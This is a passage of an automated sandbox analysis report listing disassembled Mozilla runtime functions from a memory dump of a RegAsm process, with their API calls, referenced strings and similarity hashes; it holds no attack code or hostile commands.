CreateFileMappingW.KERNEL32 ref: 6C99AC7D
GetSystemInfo.KERNEL32 ref: 6C99AC98
MapViewOfFile.KERNEL32 ref: 6C99ACB0
GetSystemInfo.KERNEL32 ref: 6C99ACCD
MapViewOfFile.KERNEL32 ref: 6C99AD05
UnmapViewOfFile.KERNEL32 ref: 6C99AD1C
CloseHandle.KERNEL32 ref: 6C99AD28
UnmapViewOfFile.KERNEL32 ref: 6C99AD37
CloseHandle.KERNEL32 ref: 6C99AD43
CloseHandle.KERNEL32 ref: 6C99AD67

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 94498c740d8184545b2c57509564edb1feddbc6ce7f8ddab623a02f6d142293a
Instruction ID: d38983b6303b7319b5000e54ae360ec5cb4a7f1b335ffc3ce8cfae03ac794501
Opcode Fuzzy Hash: 94498c740d8184545b2c57509564edb1feddbc6ce7f8ddab623a02f6d142293a
Instruction Fuzzy Hash: 313160B1A087449FDB00AF78D68926EBBF0FF85305F11492DE98587261EB709458CB92

Function 6C949620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C949675
__Init_thread_footer.LIBCMT ref: 6C949697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C949707
__Init_thread_footer.LIBCMT ref: 6C94971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949773

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9497B7
FreeLibrary.KERNEL32 ref: 6C9497D0
FreeLibrary.KERNEL32 ref: 6C9497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C949670
NtMapViewOfSection, xrefs: 6C949701
ntdll.dll, xrefs: 6C9496E3
MapViewOfFileNuma2, xrefs: 6C9497B1

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: f31873cc4298a3326680d34e5b17916409132b0add1e7f05b7ccb7eb81b63ed7
Instruction ID: 888f558f7866f116365d849e46472fc0183c9dd8cfd0c6d7854e311e93e060c7
Opcode Fuzzy Hash: f31873cc4298a3326680d34e5b17916409132b0add1e7f05b7ccb7eb81b63ed7
Instruction Fuzzy Hash: 8041D579704205ABDF00CFA9D9C5A9777B8FB89B1CF218169ED0597B80D730E904CBA5

Function 6C931E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C931EC1
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C931EE1
EnterCriticalSection.KERNEL32(6C9BE744), ref: 6C931F38
LeaveCriticalSection.KERNEL32(6C9BE744), ref: 6C931F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C931F83
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C931FC0
EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C931FE2
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C931FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C932019

Strings

MOZ_CRASH(), xrefs: 6C932000

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 39427c2da8512726a517375325e9502348da7445d14e6d9e1cbbb9c05ccc9db8
Instruction ID: e393ac2edb458ad3a3218530af0339a12a907e7b4f2376534a0ca5ea0a496b89
Opcode Fuzzy Hash: 39427c2da8512726a517375325e9502348da7445d14e6d9e1cbbb9c05ccc9db8
Instruction Fuzzy Hash: BF41E071B04329AFDB009FA9C8C8B6B37B9EB5A708F200065F90897781DB71D8048BD9

Function 6C947E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C947EA7
malloc.MOZGLUE(00000001), ref: 6C947EB3

Part of subcall function 6C94CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C94CB49
Part of subcall function 6C94CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C94CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C947EC4
mozalloc_abort.MOZGLUE(?), ref: 6C947F19
malloc.MOZGLUE(?), ref: 6C947F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C947F4D

Strings

d, xrefs: 6C947F89

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 7cbd649984ab050ad0c4c5e910c88ef9e7a3017ac5c730ab3c96dd0f22ce4663
Instruction ID: 7db73936cf6c8a748e6de4cdf67231608c6ecadaa4dcb667cba806a2b619af00
Opcode Fuzzy Hash: 7cbd649984ab050ad0c4c5e910c88ef9e7a3017ac5c730ab3c96dd0f22ce4663
Instruction Fuzzy Hash: 3C31FA61E0478897DB009B68DC049FEB778EFA5208F159269ED4557712FB31E588C390

Function 6C943E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C943EEE
RtlFreeHeap.NTDLL ref: 6C943FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C944006
RtlFreeHeap.NTDLL ref: 6C9440A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C9440AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C9440C2
RtlFreeHeap.NTDLL ref: 6C944134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C944143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C944157

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: c09a734219b07cf2b234f0adaf757442157a458d341ed95c680db0ba8614c80e
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 1BA181B1A00215CFEB40CF68C880669B7F5FF58318F258199D909AF752D772E996CFA0

Function 6C989D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C988273), ref: 6C989D65
free.MOZGLUE(6C988273,?), ref: 6C989D7C
free.MOZGLUE(?,?), ref: 6C989D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C989E0F
free.MOZGLUE(6C98946B,?,?), ref: 6C989E24
free.MOZGLUE(?,?,?), ref: 6C989E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C989EC8
free.MOZGLUE(6C98946B,?,?,?), ref: 6C989EDF
free.MOZGLUE(?,?,?,?), ref: 6C989EF5

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 28f3349516102688c946323a8ad5f76e2650494f4b02335c1f485c23246c6b31
Instruction ID: decafedb8745134e9055ee7e815ea09424198a12ba34ba7125bbde370fe31d71
Opcode Fuzzy Hash: 28f3349516102688c946323a8ad5f76e2650494f4b02335c1f485c23246c6b31
Instruction Fuzzy Hash: 2A7190B090AB419BD712CF18C48055BF7F4FFA9315B459A1DE89A5BB02EB30F885CB91

Function 6C98DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C98DDCF

Part of subcall function 6C96FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C96FA4B

Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C9890FF
Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C989108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DE0D
free.MOZGLUE(00000000), ref: 6C98DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C97DEFD,?,6C944A68), ref: 6C98DF32

Part of subcall function 6C98DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98DB86
Part of subcall function 6C98DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C97DEFD,?,6C944A68), ref: 6C98DF65
free.MOZGLUE(?), ref: 6C98DF80

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 42f6fdde984fa44aa7af3be34a5faf388cf70b92221c86214019c1bd7b323ac6
Instruction ID: 8816c55d2c67a83e31728214590c5ac2899b4b17a61099b8d2cd0da76fc1a444
Opcode Fuzzy Hash: 42f6fdde984fa44aa7af3be34a5faf388cf70b92221c86214019c1bd7b323ac6
Instruction Fuzzy Hash: 0151B8737076029BD7119B18D8806AF7376BFA1318F96091ED45A53B01D731F919CBA2

Function 6C995D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995DC9
std::_Facet_Register.LIBCPMT ref: 6C995DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995E45

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 34bbfc769a96d3ad850ee5fe92b3930a9c741bf9a0e79b33196d5e274e6d2bcb
Instruction ID: 28f8c8ea6df71b3a95d732e9d8dfc918fc52ab01e9bd249d1c4436773c609d9f
Opcode Fuzzy Hash: 34bbfc769a96d3ad850ee5fe92b3930a9c741bf9a0e79b33196d5e274e6d2bcb
Instruction Fuzzy Hash: B641C2747042049FCB00DFA5C8D8AAF77B9EF89319F584168E50A9B791EB35ED05CB60

Function 6C96CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9331A7), ref: 6C96CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C96CFA4, 6C96CFB8
<jemalloc>, xrefs: 6C96CF9F, 6C96CFB3

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 68cec1371ac464046623684d30e535b46504b1f2ce009ba0bd2343a1f77d6e44
Instruction ID: 9331bcec9bf3b8643b0971cc5757e92d893381772475df7000a511b120baa072
Opcode Fuzzy Hash: 68cec1371ac464046623684d30e535b46504b1f2ce009ba0bd2343a1f77d6e44
Instruction Fuzzy Hash: 3A31C631B452056BFF11AEA68C85B6F7B79BB41B58F304015F614EBEC0DB70E8108BA5

Function 6C93ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C93F100: LoadLibraryW.KERNEL32(shell32,?,6C9AD020), ref: 6C93F122
Part of subcall function 6C93F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C93F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C93ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C93EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C93EDCC
CreateFileW.KERNEL32 ref: 6C93EE08
free.MOZGLUE(00000000), ref: 6C93EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C93EE32

Part of subcall function 6C93EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C93EBB5
Part of subcall function 6C93EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C96D7F3), ref: 6C93EBC3
Part of subcall function 6C93EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C96D7F3), ref: 6C93EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C93EDC1

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 08aace91c8ddb9ea75d4eade000ce72e37a3d3691ca728e22629a02998d75aba
Instruction ID: ab620c2bbe906390e62d471695fb9b3fc020350b5e1b559a1af027dd80dfce44
Opcode Fuzzy Hash: 08aace91c8ddb9ea75d4eade000ce72e37a3d3691ca728e22629a02998d75aba
Instruction Fuzzy Hash: 1751D271D052249BDB11DF68C8407EEB7B4AF69318F44942DE8596B780EB30ED48CBE2

Function 6C9AA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9AA565

Part of subcall function 6C9AA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9AA4BE
Part of subcall function 6C9AA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9AA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9AA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9AA6B6

Strings

0, xrefs: 6C9AA5FB
z, xrefs: 6C9AA6AE

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: dd3b913eb232a808d34db29db9ec080eef31934aca9a55dd7e13164d9b6eb8fa
Instruction ID: 57411f8f47716a75bc33d3eefaa91fad1ead05e38c34480bf9555c6c66e5e94b
Opcode Fuzzy Hash: dd3b913eb232a808d34db29db9ec080eef31934aca9a55dd7e13164d9b6eb8fa
Instruction Fuzzy Hash: 304158719087459FC341CF28C080A9FBBE5BF99354F409A2EF49987650EB30D549CF82

Function 6C979420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
__Init_thread_footer.LIBCMT ref: 6C97949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C97947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C979459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C97946B

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: cb08f6befe2f1483aae78e6cc14f7f8e038f48eea5f345a1bc46c67cf6c0fcb9
Instruction ID: d2d034e9592182874186679e1f3a85df5f3346bedc6aa665abfa2cdbbcc5c37a
Opcode Fuzzy Hash: cb08f6befe2f1483aae78e6cc14f7f8e038f48eea5f345a1bc46c67cf6c0fcb9
Instruction Fuzzy Hash: F1014C38A09110A7DF109BADD849A47337AEB4632CF150537DC0687F41E731D464897F

Function 6C93B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B6AC

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C93B61E), ref: 6C93B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B79A

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: ba62f8b41639d3f8f7c76c3a7752eae5cece021ad96b8cfcc5d83bebf2ef42bf
Instruction ID: 89506bbfd21903b5a8509e06276a9ff62c9b82d4951088476352c00dc65260f0
Opcode Fuzzy Hash: ba62f8b41639d3f8f7c76c3a7752eae5cece021ad96b8cfcc5d83bebf2ef42bf
Instruction Fuzzy Hash: 8D41D6B2D005259FCB14DF68DC845AFB7B9FB54324F250629E82AE7B80D731E9058BD1

